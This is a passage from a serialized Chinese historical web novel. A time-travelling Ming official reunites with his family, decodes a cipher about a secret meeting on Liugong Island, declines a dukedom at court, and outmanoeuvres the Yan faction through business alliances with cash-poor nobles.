“样品?”苏惟瑾皱眉,“什么样品?”
“从琉球带回来的。”胡三压低声音,“那种能炼出更硬钢材的矿石。工部王尚书亲自要的,说是要研制新火铳。”
苏惟瑾恍然。这事他知道,离京前工部确实提过,但没想到严党消息这么灵通,连这都能拿来作文章。
“船和人都扣了?”
“扣了,但今早放了。”胡三咧嘴笑,“曹德公公亲自去通州要的人——咱们把严世蕃那封信给他看了,他吓得脸都白了,赶紧将功补过。”
苏惟瑾点点头。曹德这条线,算是握住了。
“严党那边,最近还有什么动静?”
“联名**的奏章已经递上去了,十七个勋贵、二十三个文官联名。”苏惟奇道,“按公子吩咐,咱们的人没拦着,让他们递。”
“好。”苏惟瑾冷笑,“让他们跳。跳得越高,摔得越狠。”
他起身走到书架前,抽出一份卷宗——那是从曲阜带回来的,孔府走私生铁的完整证据链,其中就涉及严家。
“等陛下正式册封孔闻韶(南宗)的旨意一下,就把这份东西,通过曹德,‘不经意’地递到陛下面前。”苏惟瑾淡淡道,“到时候咱们看看,是**我‘擅权’的罪名重,还是‘通倭走私’的罪名重。”
胡三和苏惟奇对视一眼,都笑了。
这一局,稳了。
夜深了,苏惟瑾回到卧房。陈芸娘还没睡,在灯下做针线。
“夫君,”她放下活计,柔声道,“今日进宫……还顺利吗?”
“顺利。”苏惟瑾坐在她身边,握住她的手,“陛下给了太子少保的衔儿,虎贲营也还让我管着。”
陈芸娘却皱眉:“可妾听说,陛下近来服丹越来越频,性情反复无常。今日信重夫君,明日可能就……”
她没往下说,但意思明白。
苏惟瑾沉默片刻:“我知道。所以得抓紧时间。等《圣主修仙录》刊行天下,等孔府完全掌控,等严党倒台——到那时,陛下就算想动我,也得掂量掂量。”
他顿了顿,低声道:“芸娘,有件事得让你知道。我在曲阜,发现了一个标记——火焰缠剑。这标记,跟之前在琉球密信上看到的一模一样。我怀疑……有一个很大的阴谋,正在暗中进行。”
陈芸娘脸色微变:“什么阴谋?”
“还不知道。”苏惟瑾摇头,“但跟刘公岛、三月七有关。离现在,只剩一个多月了。”
窗外,北风呼啸。
正月二十的京城,表面平静,底下却已暗流汹涌。
而此刻,成国公府内,严世蕃正对着跪在地上的手下发火。
“废物!信怎么会被截?曹德那个老阉狗,居然敢反水?”
手下哆嗦着:“公子,曹公公说……说咱们的信,落在靖海伯手里了。他没办法……”
“没办法?”严世蕃一脚踹翻他,“那就让他有办法!告诉他,若不想他外甥赵禄‘意外身亡’,就给我老实点!”
他喘着粗气,眼中凶光闪烁。
“苏惟瑾……你以为握住曹德就赢了?咱们走着瞧!”
他走到书案前,提笔写了封信,盖上一个特殊的印章——火焰,缠着一柄剑。
“把这封信,送到登州。记住,亲手交给刘公岛守备。”
“是……”
信使消失在夜色中。
严世蕃望着窗外,嘴角浮起冷笑。
三月七,刘公岛。
好戏,才刚开始。
朝堂风波暂息,苏惟瑾成功安抚帝心。
但陈芸娘提醒的“陛下性情反复”埋下隐忧,而严世蕃并未罢手,那封送往刘公岛的密信,究竟藏着什么计划?
更关键的是,“火焰缠剑”这个神秘标记再次出现,似乎预示着比朝堂斗争更深、更危险的阴谋正在迫近。
距离三月七仅剩一个多月,苏惟瑾能否在此之前揭开谜底?
而嘉靖皇帝对丹药日益加深的依赖,又会给这场权力游戏带来何种变数?
平静的京城夜色下,真正的风暴,正在悄然酝酿……
第394章 阖家团圆夜,瑾享天伦乐
正月二十的靖海伯府,灯笼从大门口一直挂到内院。
红绸子扎的,里头点着小儿臂粗的蜡烛,照得半边街都亮了。
街坊邻居探头探脑地看,有知道的就说:“是苏伯爷回府了!瞧这阵仗!”
苏惟瑾的马车停在门前时,天已擦黑。
他刚下车,府门“吱呀”一声大开,里头呼啦啦出来一群人。
打头的是陈芸娘。
她穿着藕荷色绣缠枝莲的袄子,外罩件银鼠皮比甲,怀里抱着个裹得严实的小团子。
见着苏惟瑾,眼眶就红了,却还强撑着笑:“夫君……”
她怀里那团子挣了挣,露出张粉雕玉琢的小脸,两岁多的安宁睁着乌溜溜的眼睛,盯着苏惟瑾看了会儿,忽然咧嘴笑,伸出小胳膊:“爹……抱!”
苏惟瑾心都化了,接过来。
小丫头沉甸甸的,身上有奶香味儿。
他亲了亲女儿的脸颊,抬眼看向后面。
赵文萱牵着个三岁左右的男童,正是长子苏承志。
小家伙穿着宝蓝色小袄,虎头帽,见着爹,想往前扑又有点怯,只睁大眼睛看。
王雪茹、沈香君、陆清晏都站在后头。
王雪茹还是一身利落的劲装,只是外头罩了件玫红织锦的斗篷;
沈香君穿着月白绣梅花的袄裙,素净中透着雅致;
陆清晏则是一身湖蓝色,发间只簪了支玉簪,清冷依旧。
“都站着做什么?”
苏惟瑾笑了,“外头冷,进去。”
一行人往里走。
穿过垂花门时,陈芸娘低声说:“厨房备了你爱吃的糟溜鱼片、红烧狮子头,还有从南边快马送来的冬笋。”
“辛苦你了。”
苏惟瑾握了握她的手。
正厅里早摆好了席面。
八仙桌换成了大圆桌,能坐十二个人。
苏惟瑾坐了主位,陈芸娘在左,赵文萱在右,其余依次坐下。
安宁被奶娘抱去喂饭,苏承志挨着赵文萱坐,小大人似的挺直腰板。
“这半年,家里都好吧?”
苏惟瑾举杯。
“都好。”
陈芸娘温声道,“就是孩子们总问爹爹什么时候回来。”
“承志如今会背《三字经》了,安宁也会走路了,上月还摔了一跤,哭得震天响。”
苏承志一听说他,赶紧站起来,奶声奶气地背:“人之初,性本善,性相近,**相远……”
背得一字不差。
苏惟瑾抚掌:“好!赏!”
赵文萱抿嘴笑:“这孩子性子静,坐得住。”
“倒是安宁,皮得很,前日还把雪茹的弓拿出来玩,差点砸了花瓶。”
王雪茹满不在乎:“砸了就砸了,反正那弓她也拉不动。”
“倒是清晏,前几日在后院练剑,把新栽的梅树削秃了半边。”
陆清晏脸一红:“我……我赔。”
众人都笑了。
气氛松快下来。
酒过三巡,菜上五味。
孩子们吃饱了被奶娘带下去,只剩大人们。
话也渐渐说到正事上。
陈芸娘给苏惟瑾布了筷菜,低声道:“夫君离京这半年,严嵩父子来了府上三次,说是‘拜访’,实则想拉拢。”
“妾都以‘妇人不管外事’推了。”
“不过上月,他们转而频繁拜访费阁老,有五六次。”
费宏?
苏惟瑾挑眉。
这位老首辅一向中立,严家找他做什么?
赵文萱接话:“妾听父亲说,严嵩如今是礼部侍郎,想在明年春闱中安插自己人。”
“找费阁老,许是想在考官人选上做文章。”
“不止。”
陆清晏忽然开口,声音清冷,“严世蕃上个月,通过他妹妹,接触了锦衣卫旧部。”
“妾兄长虽去了,但那些人还在。”
“严家想收买他们,打探伯爷在东南的动向。”
苏惟瑾眼神一冷。
锦衣卫旧部?
陆炳虽死,但他经营多年,旧部遍布锦衣卫。
这些人若被严家拉拢,是个麻烦。
王雪茹哼了一声:“还有那个成国公朱麟,这半个月办了三次宴,请的都是勋贵。”
“我家老爷子也被请去了,回来说,席上都在议论伯爷在曲阜的事,说什么‘擅权’、‘跋扈’。”
沈香君轻轻转动酒杯:“妾在梨园听戏时,听到些风声——说宫里那位邵**,近来颇为活跃。”
“他虽被鹤岑国师压下去了,但仍在西苑走动。”
“前几日,他还想通过宫人接触清晏妹妹,打听伯爷何时回京。”
苏惟瑾一一记下。
这些零散信息,在超频大脑中迅速整合、分析,形成一张清晰的局势图:
严嵩父子在文官系统活动,试图控制科举;
成国公朱麟在勋贵中串联,制造**压力;
邵元节在宫中寻找机会;
甚至想染指锦衣卫旧部……
而费宏的态度暧昧,是关键变数。
“还有件事。”
陈芸娘犹豫了下,“妾昨日进宫给太后请安,听慈宁宫的宫女说,陛下近来……服丹更频繁了。”
“有次在西苑晕倒,太医不敢声张,只说是‘修行入定’。”
苏惟瑾放下筷子。
嘉靖的身体,果然在恶化。
“鹤岑国师那边呢?”
“国师一直按夫君的吩咐,用‘清心丹’慢慢替代陛下服用的丹药。”
陈芸娘道,“但陛下似乎察觉了,近来不太愿见国师。”
“反倒是邵元节,又献了一种新丹,说是从昆仑山求来的‘仙玉髓’。”
仙玉髓?
苏惟瑾皱眉。
这名字一听就不是好东西。
“对了,”
赵文萱想起什么,“孔府那边,新任衍圣公前日抵京了,住在外城驿馆。”
“按规矩,他明日该进宫谢恩,然后来府上拜会夫君。”
孔闻韶(南宗)来了。
这是个好消息。
有他在,曲阜的**阵地就稳了。
家宴又持续了半个时辰。
女眷们渐渐有些乏了,苏惟瑾便让她们先回房歇息。
陈芸娘临走前,回头看他一眼:“夫君也早些歇息,莫要太劳神。”
“我知道。”
人都散了,苏惟瑾独自在厅中坐了会儿,才起身去了书房。
书房里的炭盆还燃着,暖和。
他在书案后坐下,铺开一张宣纸,却没马上动笔。
超频大脑开始全面复盘归京后的所有信息:
皇帝的试探与安抚,太子少保的虚衔,虎贲营的实际控制权——这是君臣之间的默契与博弈。
严党的反扑,勋贵的串联,邵元节的小动作——这是外部压力。
孔府的掌控,费宏的态度,锦衣卫旧部的隐患——这是内部变数。
还有最让他不安的——那个“火焰缠剑”的标记,刘公岛、三月七……
他提起笔,在纸上写下八个字:
“外示柔,内藏锋,待时机。”
笔锋遒劲,墨透纸背。
放下笔,他走到窗前。
月色正好,清辉洒满庭院。
院角那株老梅开得正盛,暗香浮动。
这样的宁静,能持续多久?
他知道,从明天起,京城的棋局就要正式开始了。
孔闻韶进宫谢恩,严党必然会有动作;
费宏的态度需要试探;
锦衣卫旧部要尽快掌握;
还有刘公岛的秘密,必须查清。
正思忖间,门外传来极轻的脚步声。
“谁?”
苏惟瑾警觉。
门被推开条缝,陈芸娘端着一碗热腾腾的汤进
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来:“妾见书房灯还亮着,炖了碗参汤。”
“夫君趁热喝。”
苏惟瑾心中一暖,接过汤碗。
陈芸娘在他身边坐下,犹豫片刻,低声道:“夫君,有件事……妾不知该不该说。”
“但说无妨。”
“前日,妾整理夫君从曲阜带回来的文书时,发现件蹊跷事。”
陈芸娘从袖中取出一张纸,“这是夹在孔府账册里的,妾看着奇怪,就抄了下来。”
苏惟瑾接过。
纸上是一串数字:
“甲午、三七、子时、刘公岛、丙三、戌七、离九、坤二。”
前四个他认得——甲午年三月七日子时,刘公岛。
但后面这“丙三、戌七、离九、坤二”是什么?
“妾想了许久,”
陈芸娘道,“忽然想起,当年在沭阳时,曾见夫君用‘干支’配‘八卦’记过东西。”
“这‘丙’是天干第三,‘戌’是地支第十一,‘离’是八卦中的火,‘坤’是地……”
苏惟瑾脑中灵光一闪!
干支配八卦,再加数字——这是坐标!
丙三:天干丙排第三,可能指方位或顺序。
戌七:地支戌排第十一,但写“戌七”,可能是以戌为起点,数七位。
离九:离为火,在八卦中排第三,但“离九”可能指离卦的第九变?
坤二:坤为地,排第八,“坤二”可能指……
他抓起笔,在纸上飞快推算。
超频大脑将《易经》、干支、方位学所有知识调取出来,交叉比对。
半刻钟后,他停笔,脸色凝重。
“芸娘,你立了大功。”
他指着纸上结果,“这串密码,翻译过来是:甲午年三月七日子时,刘公岛东南三里,礁石群第二洞。”
他看向陈芸娘:“这是某个秘密接头的精确地点和时间。”
陈芸娘脸色微白:“那……那‘火焰缠剑’……”
“很可能就是接头暗号。”
苏惟瑾站起身,在房中踱步,“三月七,离现在只有一个多月。”
“刘公岛是登州水师驻防地,那里要发生什么?”
“走私?接应倭寇?还是……”
他忽然想到严世蕃那封送往登州的密信。
“芸娘,”
他转身,“明日一早,让胡三来见我。”
“另外,通知周大山,虎贲营进入戒备状态——不要声张,暗中准备。”
“是。”
陈芸娘应下,又担心,“夫君,会不会有危险?”
苏惟瑾走到窗前,望着那轮明月,缓缓道:“危险一直都在。”
“只是这次……他们可能要动真格的了。”
他想起嘉靖今日在宫中的眼神,想起严世蕃的阴鸷,想起那神秘的“火焰缠剑”。
山雨欲来。
陈芸娘轻轻靠在他肩上:“无论发生什么,妾与孩子们,都会陪着夫君。”
苏惟瑾揽住她,没说话。
窗外,月色渐渐被云层遮掩。
正月二十的团圆夜,很暖。
但暖意之下,寒意已悄然渗透。
家庭温情暂慰风尘,但陈芸娘无意中破译的密码,揭示出“火焰缠剑”阴谋的关键线索——刘公岛东南三里礁石群,三月七日子时。
这精确到时辰地点的暗号,预示着怎样一场秘密行动?
严世蕃送往登州的密信,是否正为此事?
更令人不安的是,苏惟瑾忽然意识到:密码中“丙三、戌七”等干支数字的排列方式,与他记忆中现代某种军事坐标的编码逻辑惊人相似……
这绝不是明朝该有的东西!
难道除了他,还有别的穿越者?
或者,有本时空的人,掌握了超越时代的知识?
夜色渐深,谜团却越来越重,而距离三月七日,只剩四十七天……
第395章 温水煮权贵,瑾掌军财经
正月二十一,寅时三刻,天还黑着。
靖海伯府门口已备好轿子。
苏惟瑾穿戴整齐,一身绯色麒麟服,腰佩玉带,头戴乌纱。
陈芸娘给他系好披风,轻声叮嘱:“朝会上无论发生什么,夫君都要沉住气。”
“放心。”
苏惟瑾拍拍她的手,“我心里有数。”
轿子起,穿过寂静的街道,往皇城去。
路上偶尔遇见其他官员的轿子,灯笼光在晨雾中晕开,像一只只萤火虫。
到了午门外,轿子停下。
文武官员已陆续到了,三五成群站在那儿,搓着手哈着白气。
见苏惟瑾下轿,不少人投来目光——有好奇,有打量,也有掩饰不住的敌意。
“苏伯爷。”
一个五十来岁的官员走过来,是户部侍郎杨一清,算是中立派,“昨日伯爷回京,老夫未能登门拜访,失礼了。”
“杨侍郎客气。”
苏惟瑾拱手,“下官离京半年,朝中诸事还要多向您请教。”
两人寒暄几句。
杨一清压低声音:“今日朝会……伯爷可要留心。”
“老夫听说,有人要在封赏上做文章。”
“多谢提醒。”
苏惟瑾面色不变。
正说着,钟鼓楼传来钟声——卯时了。
“上朝——”
百官鱼贯而入。
过金水桥,进奉天门,文东武西分列站好。
苏惟瑾身为靖海伯,站在武官队列靠前位置,旁边是成国公朱麟。
朱麟瞥他一眼,皮笑肉不笑:“苏伯爷昨日回京,今日就上朝,真是勤勉。”
“食君之禄,忠君之事。”
苏惟瑾淡淡道,“比不得成国公,在京中坐镇,劳苦功高。”
朱麟被噎了一下,哼了声转过头去。
又等了半刻钟,净鞭三响。
“陛下驾到——”
嘉靖从屏风后走出,没穿龙袍,而是一身杏黄道袍,头戴莲花冠。
他脸色比昨日好些,但眼下的青黑遮掩不住。
在龙椅上坐下,摆了摆手:“众卿平身。”
“谢陛下——”
朝会开始。
先是各部例行奏事:户部报岁入,兵部报边情,工部报河工……
嘉靖听得心不在焉,几次抬手揉眉心。
终于轮到封赏环节。
司礼监太监曹德出列,展开圣旨,尖着嗓子念:“奉天承运皇帝,诏曰:靖海伯苏惟瑾,奉旨巡抚东南,平倭安民,收琉球归化,整饬海防,功在社稷……”
洋洋洒洒几百字,把苏惟瑾在东南的功劳夸了一遍。
念到关键处,曹德提高声调:“……特加太子太师衔,赐**袍玉带,赏银万两。”
“另,苏惟瑾功勋卓著,当晋爵位——封**公,**罔替!”
“国公”二字一出,奉天殿里炸了。
“国公?”
一个老御史脱口而出,“非开国、靖难之功,不得封公!此乃祖制!”
“苏大人虽有大功,然封公……恐难服众啊!”
“陛下三思!”
文官队列里骚动起来。
武官那边也不平静——国公是超品爵位,整个大明活着的一只手数得过来。
苏惟瑾才二十五岁,封伯已经破格,再封公……
严嵩嘴角勾起一丝冷笑。
他要的就是这个效果。
果然,嘉靖皱眉:“怎么,众卿以为不妥?”
严嵩出列,躬身道:“陛下,苏大人之功,臣等皆看在眼里。”
“然我大明爵位之制,乃太祖所定,不可轻改。”
“且苏大人年轻,若今日封公,他日再有功勋,何以封赏?”
这话说得冠冕堂皇。
紧接着,几个严党官员纷纷附和:
“严侍郎所言极是!”
“封公之例一开,恐启侥幸之心!”
“还请陛下收回成命!”
一时间,殿上反对声一片。
中立官员面面相觑,有些本想替苏惟瑾说话的,见这阵仗也犹豫了。
成国公朱麟瞥了苏惟瑾一眼,眼中尽是得意——小子,看你如何收场。
嘉靖脸色沉下来。
他本意是借封公显示恩宠,没想到引来这么大反对。
正要发作,却见苏惟瑾出列了。
“臣,苏惟瑾,有本奏。”
殿内安静下来。
所有人都看着这个年轻的靖海伯。
苏惟瑾跪倒在地,声音平静:“陛下隆恩,臣感激涕零。”
“太子太师衔,**袍玉带,赏银万两——此皆陛下厚爱,臣不敢辞。”
他顿了顿,话锋一转:“然晋爵国公,臣实不敢受。”
严嵩一愣。
他料到苏惟瑾会辩解,会争辩,却没想到直接推辞?
苏惟瑾继续道:“臣今年二十有五,资浅德薄。”
“东南之功,赖陛下天威、将士用命、百姓拥戴,非臣一人之力。”
“若受国公之爵,恐损陛下知人之明,亦使将士寒心。”
他抬起头,语气诚恳:“且臣闻,国库近年因修河工、赈灾荒,颇有不足。”
“京营改制需银,九边粮饷需银,东南海防更需银。”
“臣请将陛下赏赐之万两白银,悉数充入国库,用于国事。”
说完,深深叩首。
殿内鸦雀无声。
连嘉靖都怔住了。
万两白银啊!
不是小数目,说捐就捐?
杨一清率先反应过来,出列道:“陛下,苏伯爷忠心体国,实乃百官表率!”
“老臣以为,当准苏伯爷所请!”
几个户部官员跟着附和:“是啊陛下,国库确实吃紧……”
“苏伯爷高义!”
中立派官员看苏惟瑾的眼神都变了。
这年轻人,不贪爵位,不恋钱财,一心为国——这才是忠臣啊!
严嵩脸都绿了。
他本想借“封公”把苏惟瑾架在火上烤,没想到对方来个釜底抽薪,不仅推了爵位,还捐了赏银,一下子把道德高地占得死死的。
他赶紧给同党使眼色。
一个御史出列:“苏伯爷虽高义,然爵位乃陛下恩典,岂有臣子推辞之理?”
“此非人臣之道!”
苏惟瑾抬头看向那御史,淡淡道:“王御史所言极是。”
“那依王御史之见,臣当如何?”
“自然该受!”
王御史梗着脖子。
“好。”
苏惟瑾点头,“那请问王御史,若臣今日受封国公,明日陛下再赏,臣又该如何?”
“后日再有功,又当如何?”
“爵位已至极品,难道要让陛下裂土封王不成?”
“你……”
王御史语塞。
“臣以为,”
苏惟瑾转向嘉靖,“为臣子者,当为君分忧,而非为君添忧。”
“如今国库空虚,边关不稳,正是用钱之际。”
“臣愿将赏银捐出,并请陛下准臣一议——”
他深吸一口气:“臣请整顿京营,裁汰老弱,补足粮饷,更新器械。”
“所需银两,臣愿从云裳阁商税中支出一部分,不足再由国库补充。”
“若三年之内,京营不能焕然一新,臣请治罪!”
这话掷地有声。
整顿京营?
这可是个烫手山芋!
京营那些勋贵子弟、关系户,盘根错节,谁碰谁倒霉。
但若是真能整出样子……
那可是实打实的功绩。
嘉靖眼中闪过精光。
他修仙花钱如流水,国库确实空虚。
苏惟瑾这提议,既解决了钱的问题,又解决了兵的问题,还不用自己掏腰包——妙啊!
“爱卿忠心可嘉。”
嘉靖终于开口,声音带着赞许,“既如此,晋爵之事暂且搁置。”
“太子太师衔、**袍玉带照赐,赏银……就如爱卿所请,充入国库,专用于京营改制。”
他顿了顿:“至于整顿京营一事,爱卿可拟个章程上来,朕准了。”
“臣,领旨谢恩!”
苏惟瑾再叩首。
严嵩等人像吃了苍蝇似的,脸色难看。
他们精心准备的发难,被苏惟瑾轻描淡写化解,还反手捞了个整顿京营的差事——那可是实权!
退朝时,不少官员围上来向苏惟瑾道贺。
“苏伯爷高风亮节,下官佩服!”
“整顿京营,利国利民,伯爷辛苦了!”
连杨一清都拍了拍他肩膀:“后生可畏啊。”
苏惟瑾一一回礼,谦逊得体。
出奉天门时,严嵩从后面赶上,皮笑肉不笑:“苏伯爷今日好手段。”
“严侍郎过奖。”
苏惟瑾停步,“下官只是尽人臣本分。”
严嵩盯着他,
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压低声音:“整顿京营……那可是得罪人的差事。”
“伯爷年轻气盛,可要当心,别搬起石头砸了自己的脚。”
“多谢严侍郎提醒。”
苏惟瑾微笑,“下官既然敢接,就不怕石头重。”
两人对视片刻,严嵩冷哼一声,拂袖而去。
回到靖海伯府,已近午时。
胡三迎上来:“公子,朝会如何?”
“成了。”
苏惟瑾脱下朝服,“整顿京营的差事拿到了。”
“严嵩他们……估计这会儿正摔杯子呢。”
苏惟奇端来茶:“公子,那咱们真要从云裳阁掏钱整顿京营?”
“那可是无底洞啊。”
“掏,但不是白掏。”
苏惟瑾喝了口茶,“京营五万人,真正能打仗的不到一万。”
“剩下四万,要么是老弱,要么是勋贵塞进来吃空饷的关系户。”
“咱们要做的,是裁掉那四万,补上一万能打的。”
“裁人?”
胡三瞪眼,“那可要得罪一大片!”
“所以得借力。”
苏惟瑾放下茶盏,“陛下想要一支能战的京营,这是大义。”
“咱们就打着‘奉旨整顿’的旗号,谁敢阻挠,就是抗旨。”
“至于那些被裁的……”
他笑了笑,“云裳阁在各处都有产业,码头、工坊、商铺,缺人手。”
“让他们去那儿干活,照样有饭吃——这总比在京营混日子强。”
胡三恍然大悟:“公子这是……既整顿了京营,又给咱们的产业招了工,还得了陛下欢心?”
“一举三得。”
苏惟瑾走到窗前,“而且,整顿京营只是个开始。”
他想起昨夜破译的密码,想起“火焰缠剑”,想起刘公岛。
“三爷,让你查的事,有眉目了吗?”
胡三脸色凝重起来:“查到了些。”
“刘公岛是登州水师驻地,守备叫吴振邦,四十二岁,嘉靖六年的武进士。”
“此人……跟严家有些关系,他妹妹嫁给了严世蕃一个远房表弟。”
严家?
苏惟瑾眼神一冷。
“还有,”
胡三继续道,“登州水师这半年,有三次‘例行巡海’的记录很蹊跷——都是初一、十五这种日子出海,说是‘训练’,可每次都在刘公岛东南那片礁石区停留很久。”
“水师的人说,是在‘演练登陆’,但……”
“但那里根本不是登陆的好地方。”
苏惟瑾接话,“礁石密布,船都靠不近。”
“对!”
“而且那三次出海,吴振邦都亲自带队。”
苏惟瑾沉吟。
三月七日子时,刘公岛东南三里礁石群……
水师守备亲自带队的“训练”……
这绝不是巧合。
“继续查。”
他吩咐,“特别是吴振邦最近半年的银钱往来,接触过什么人,都要查清楚。”
“另外,让彭小六派人去登州,盯着刘公岛。”
“是。”
胡**下后,苏惟瑾在书房里踱步。
朝堂上的胜利只是小胜。
真正的危机,在海上,在那个神秘的“火焰缠剑”组织。
他们到底要干什么?
走私?
接应倭寇?
还是……更大的阴谋?
他想起密码中那些现代军事坐标的编码逻辑。
如果真有另一个穿越者,或者有本时空的人掌握了超越时代的知识……
那这场博弈,就不仅仅是权力斗争了。
窗外,日头正高。
正月二十一,朝堂风波暂息。
但海上的暗流,正汹涌而来。
朝堂交锋取胜,整顿京营大权在握。
但刘公岛守备吴振邦与严家的关联,让“火焰缠剑”的阴谋更加扑朔迷离。
更令人不安的是,苏惟瑾在调阅登州水师档案时发现一件怪事:吴振邦去年八月曾上报“击溃小股倭寇”,但战后清点,倭寇尸首仅三具,却缴获了二十多柄完好的倭刀——这根本不是遭遇战的缴获数量,倒像是……事先准备好的“战利品”。
难道所谓的“倭寇”,根本就是自导自演?
而这一切,与三月七日礁石群的秘密接头,又有何关联?
距离三月七日只剩四十六天,真相,正在海雾中若隐若现……
第396章 经济渗权贵,云裳织巨网
正月二十二,京城里年味还没散尽,靖海伯府后园的暖阁里,却已摆开了一盘看不见的棋。
苏惟瑾没穿官服,只着件青绸家常袍子,袖口挽起,正俯身在一张巨大的京城舆图上画圈。
图是特制的,不光有街巷,还用蝇头小楷标着各府邸的名号、产业、田庄位置。
“定国公徐家,”
他用朱笔在城西一点,“祖上跟着成祖爷靖难,封了国公,到如今五代了。”
家里现管着三个庄子,两个铺面,都是祖产,年年吃老本。
去年黄河决口,徐家在河南的田淹了三百亩,账上亏空至少五千两。”
侍立一旁的苏惟奇递过另一本册子:“公子,这是云裳阁查的。”
徐家三爷徐鹏举,今年三十四,好赌,去年在“如意坊”输了八千两,债主追到府上,是徐老太太拿体己钱填的窟窿。”
“好。”
苏惟瑾在徐家名下写了“缺钱”二字,又问,“武安侯郑家呢?”
“郑家更糟。”
苏惟奇翻页,“老侯爷三年前过世,长子郑宏袭爵,但不会经营。”
家里五个铺子,三个亏钱。
去年底为了撑场面,还卖了城南一处别院。”
胡三在旁咂舌:“这些勋贵,看着光鲜,里头都烂了?”
“祖上挣的功名,子孙坐吃山空,有几个能撑过三代?”
苏惟瑾放下笔,“严嵩想用‘祖制’、‘清誉’拉拢他们,可肚子饿了,清誉能当饭吃?”
他走到窗前,望着园中未化的残雪:“咱们反其道而行——不谈忠义,只谈银子。”
二月初三,“云裳阁”京城总号后院,一场不挂招牌的“品鉴会”悄然举行。
来的都是各家勋贵府上管事的,或是不得宠的庶子、旁支。
主位上坐着云裳阁大掌柜孙德福,五十来岁,胖乎乎一团和气。
“诸位,”
孙德福笑眯眯地拱手,“今日请各位来,是有几桩好生意,想寻合作伙伴。”
他拍拍手,伙计抬上三样东西。
第一样,是台木铁结构的机器,半人高,有轮子有踏板。
“这是格物学堂新制的‘飞梭织机’。”
孙德福亲自演示,脚一踩踏板,梭子“唰”地在经纬线间穿梭,比寻常织机快了不止三倍,“同样的工,同样的料,用这机器,一天能多出两匹绸。”
座中一个管事眼睛亮了:“孙掌柜,这机器……卖吗?”
“不卖。”
孙德福摇头,“但可以‘合作’。”
他展开一份契约:“云裳阁出机器、出技术、包销路;合作方出场地、出人手、出三成本钱。”
利润五五开。
一台机器,一年保底赚这个数——”
他伸出三根手指。
“三百两?”
有人猜。
“三千两。”
孙德福微笑。
满座吸气声。
第二样,是套瓷器。
胎薄如纸,釉色是一种从未见过的“霁蓝”,在光下泛着幽光,像深海。
“这是新烧的釉彩,叫‘海天霞’。”
孙德福道,“一套茶具,在广州港,葡萄牙商人出价五百两。”
咱们在景德镇有窑,缺的是……销路。”
他看向座中一个年轻人:“听说武安侯府在天津卫有船队?”
那年轻人是郑宏的堂弟郑谦,闻言点头:“是有两条船,跑朝鲜、日本。”
“那正好。”
孙德福道,“云裳阁供货,侯府的船负责运到外藩。”
利润,侯府占四成。”
郑谦心跳加速。
两条船跑一趟日本,往常最多赚千把两。
若运这瓷器……
第三样更简单——一张海图,标着南洋各岛。
“香料。”
孙德福指着图上的“满剌加”、“暹罗”,“胡椒、丁香、豆蔻,在广州港什么价,诸位都知道。”
云裳阁在南洋有据点,能拿到最低的货。
缺的,是能在京城、江南铺开销路的合伙。”
他顿了顿:“这条生意,本钱大,风险也大。”
但利润……翻十倍不止。”
座中不少人呼吸粗重起来。
孙德福最后道:“这三桩生意,云裳阁只选五家合作。”
有意者,三日内递帖子到总号。
过了日子,就不候了。”
品鉴会散后,各府管事匆匆离去。
孙德福回到内室,苏惟瑾正在喝茶。
“公子,鱼上钩了。”
孙德福躬身,“定国公府、武安侯府、安远伯府、镇海侯府,还有……成国公府,都留了话,说三日内必递帖子。”
“成国公府?”
苏惟瑾挑眉,“朱麟也动心了?”
“是他三弟朱麒来的,说想谈谈香料生意。”
孙德福笑道,“朱麟本人没露面,但默许了。”
苏惟瑾放下茶盏:“严嵩那边什么反应?”
“严世蕃昨日去了成国公府,听说吵了一架。”
孙德福压低声音,“严世蕃骂朱麟‘见利忘义’,朱麟反呛‘严家倒是清高,怎不见拿出银子帮衬各家’?”
“裂痕已现。”
苏惟瑾点头,“继续加码。”
告诉那些递帖子的,第一批合作者,云裳阁再让利半成。”
“半成?公子,那咱们……”
“舍不得孩子套不着狼。”
苏惟瑾起身,“等他们的身家性命都绑在云裳阁的船上,到时候,就不是他们说了算了。”
二月初十,严府书房。
严世蕃将一叠账册摔在桌上,脸色铁青:“父亲,这才几天?”
定国公徐家、武安侯郑家,还有安远伯、镇海侯,全跟云裳阁签了契!
连朱麟那老狐狸,都让他弟弟入了香料股的伙!”
严嵩慢条斯理地翻着本《道德经》,眼皮都没抬:“急什么?”
生意而已。”
“生意?”
严世蕃咬牙,“苏惟瑾这是明摆着分化咱们!”
他用银子买通那些穷疯了的勋贵,等他们都上了船,往后在朝中,谁还敢跟他作对?”
“那你待如何?”
严嵩放下书,“让各家都别赚这银子?”
你拿什么补他们的亏空?”
严世蕃语塞。
严嵩站起身,走到窗前:“世蕃,你记住——人心如流水,堵不如疏。”
苏惟瑾用银子开路,咱们就用更大的利诱。”
他转身,眼中闪着冷光:“他不是有织机、有瓷器、有香料吗?”
咱们也有。
你去找江南织造局的人,重金挖他们的工匠。
瓷器……景德镇不是只有云裳阁有窑。
香料更简单,让福建那边的海商,直接去南洋收货,价钱压下来,看谁撑得住。”
严世蕃眼睛一亮:“父亲是说……打价格战?”
“不只是价格。”
严嵩捻须,“他苏惟瑾能搞‘合作’,咱们也能。”
你去联络那些还没入伙的勋贵,许他们更厚的利。
另外……”
他压低声音:“宫里头,曹德那条线断了,但还有别人。”
让邵元节在陛下跟前说说,这‘与民争利’、‘勾结勋贵’,是不是有违臣子之道?”
严世蕃重重点头:“儿子明白!”
“还有,”
严嵩又道,“登州那边……三月七的事,准备得如何了?”
严世蕃神色一肃:“吴振邦回信了,一切妥当。”
只是……要价又涨了,要两万两。”
“给他。”
严嵩淡淡道,“只要事成,十万两也值。”
二月十五,元宵刚过,京城商战已悄然打响。
严世蕃动作极快。
他通过严家在江南的关系,重金从苏州、杭州挖来十几个老织工,在通州开了家“锦绣坊”,也仿造飞梭织机——虽然效率不如格物学堂的,但胜在便宜,租给合作方只收三成利。
瓷器那边,他联络了景德镇几个被云裳阁排挤的窑主,许以厚利,烧出的瓷器虽然成色稍差,但价格只有云裳阁的七成。
香料更狠。
他让福建海商直接包船下南洋,一次性运回三十船胡椒,在广州港低价抛售,把市价砸低了两成。
消息传到靖海伯府,孙德福急得满头汗:“公子,严家这是要跟咱们拼命啊!”
锦绣坊的织机,租一台一年只要九百两,比咱们便宜一半!
瓷器、香料也都在压价,再这么下去,刚拉拢的那些勋贵,怕是要动摇!”
苏惟瑾正在书房里摆弄一套新制的算盘——珠子是**的,框架是紫檀木,却比寻常算盘多了一排。
“急什么?”
他头也不抬,“严世蕃这是伤敌一千,自损八百。”
他挖江南织工,花了多少?
通州开坊,投了多少?
低价抛售香料,又亏了多少?”
孙德福一愣:“这……少说也得十万两。”
“十万两。”
